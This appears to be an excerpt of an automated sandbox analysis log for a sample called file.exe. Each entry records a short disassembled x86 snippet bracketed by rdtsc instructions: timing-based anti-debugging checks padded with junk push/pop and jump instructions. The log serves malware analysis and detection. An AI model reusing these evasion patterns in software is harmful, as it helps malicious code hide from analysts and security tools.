Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7501 second address: 4A7551 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD9A93E11E8h 0x00000008 jmp 00007FD9A93E11E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FD9A93E11E6h 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D196Eh], esi 0x0000001c lea eax, dword ptr [ebp+1247FFA8h] 0x00000022 add di, 508Ah 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a jo 00007FD9A93E11D8h 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7551 second address: 4A7556 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3AB1 second address: 4F3AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3F2F second address: 4F3F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FD9A885D716h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40AA second address: 4F40B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40B5 second address: 4F40BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD9A885D716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40BF second address: 4F40F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD9A93E11DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007FD9A93E11DEh 0x00000012 pushad 0x00000013 jg 00007FD9A93E11D6h 0x00000019 jbe 00007FD9A93E11D6h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4552 second address: 4F455A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F759B second address: 4F759F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F759F second address: 4F75A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F75A3 second address: 4F75C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11E0h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FD9A93E11D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F75C4 second address: 4F75DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D724h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7711 second address: 4F771B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB118 second address: 4FB128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD9A885D716h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB128 second address: 4FB12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB12E second address: 4FB142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D71Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB142 second address: 4FB147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB147 second address: 4FB14D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB14D second address: 4FB153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB153 second address: 4FB157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB30C second address: 4FB311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF2CA second address: 4FF2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF2CE second address: 4FF2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF2D2 second address: 4FF2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FEA7A second address: 4FEA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FEA7F second address: 4FEA84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FED3F second address: 4FED49 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD9A93E11D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505CD4 second address: 505D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007FD9A885D716h 0x0000000c jnp 00007FD9A885D716h 0x00000012 popad 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD9A885D729h 0x0000001b jne 00007FD9A885D71Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505D0D second address: 505D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504977 second address: 50497D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50497D second address: 504981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504ABF second address: 504AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504AC3 second address: 504AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9A93E11E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504AE1 second address: 504AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504AE5 second address: 504AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504AEB second address: 504B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007FD9A885D74Dh 0x0000000d pushad 0x0000000e jg 00007FD9A885D716h 0x00000014 js 00007FD9A885D716h 0x0000001a push esi 0x0000001b pop esi 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD9A885D725h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6E86 second address: 4A6E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6E8A second address: 4A6EEC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FD9A885D718h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edx, dword ptr [ebp+122D2C2Fh] 0x0000002c mov ebx, dword ptr [ebp+1247FFA3h] 0x00000032 mov ecx, esi 0x00000034 add eax, ebx 0x00000036 or dword ptr [ebp+122D1B1Dh], eax 0x0000003c nop 0x0000003d pushad 0x0000003e push esi 0x0000003f jnc 00007FD9A885D716h 0x00000045 pop esi 0x00000046 jmp 00007FD9A885D723h 0x0000004b popad 0x0000004c push eax 0x0000004d pushad 0x0000004e push esi 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EEC second address: 4A6F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD9A93E11E4h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FD9A93E11D8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000004h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007FD9A93E11D8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 mov di, C0C7h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007FD9A93E11DCh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6F5C second address: 4A6F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504D8C second address: 504DAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504DAD second address: 504DC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FD9A885D718h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504DC1 second address: 504DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504EF1 second address: 504F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD9A885D716h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504F00 second address: 504F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509789 second address: 509790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FC08 second address: 50FC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5107D9 second address: 510808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD9A885D716h 0x0000000a push eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop eax 0x0000000e popad 0x0000000f jc 00007FD9A885D764h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007FD9A885D716h 0x0000001d jmp 00007FD9A885D722h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510808 second address: 51080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51080C second address: 510816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510816 second address: 51081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51081A second address: 510836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D728h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A1 second address: 5110BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A93E11E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110BB second address: 5110C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516E89 second address: 516E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516E8F second address: 516E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0CE second address: 51A0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0D2 second address: 51A0D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A249 second address: 51A262 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11E3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A262 second address: 51A26B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A26B second address: 51A271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A271 second address: 51A29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD9A885D720h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FD9A885D72Ah 0x00000012 push esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 pushad 0x00000019 ja 00007FD9A885D716h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A3CA second address: 51A3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A50E second address: 51A515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A515 second address: 51A561 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD9A93E11EEh 0x00000008 jne 00007FD9A93E11D8h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 js 00007FD9A93E11F5h 0x00000017 jmp 00007FD9A93E11E9h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A561 second address: 51A56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C4DE second address: 51C4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C4E2 second address: 51C4F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ah 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523406 second address: 52341D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD9A93E11D6h 0x0000000a jbe 00007FD9A93E11D6h 0x00000010 popad 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523984 second address: 52398A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52398A second address: 5239B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11DAh 0x0000000b jc 00007FD9A93E11DEh 0x00000011 push esi 0x00000012 pop esi 0x00000013 jno 00007FD9A93E11D6h 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523AF3 second address: 523AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523C3A second address: 523C44 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD9A93E11D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523D91 second address: 523D9F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523D9F second address: 523DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523EEF second address: 523EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD9A885D716h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523EFC second address: 523F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD9A93E11DBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523F0E second address: 523F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523F12 second address: 523F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52477D second address: 524782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537EC9 second address: 537ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537ED0 second address: 537EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537EDD second address: 537EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537EE3 second address: 537EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD9A885D716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537EEF second address: 537EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007FD9A93E11D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537EFF second address: 537F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537F04 second address: 537F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FD9A93E11D6h 0x0000000b jmp 00007FD9A93E11DAh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537F1E second address: 537F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD9A885D716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53809A second address: 5380A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BE1E second address: 53BE22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BE22 second address: 53BE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BE28 second address: 53BE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jns 00007FD9A885D716h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 popad 0x00000013 jc 00007FD9A885D730h 0x00000019 jg 00007FD9A885D71Ah 0x0000001f push esi 0x00000020 pop esi 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BE4F second address: 53BE55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B90E second address: 53B93D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 push ebx 0x00000008 jmp 00007FD9A885D721h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C31A second address: 54C327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C327 second address: 54C32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
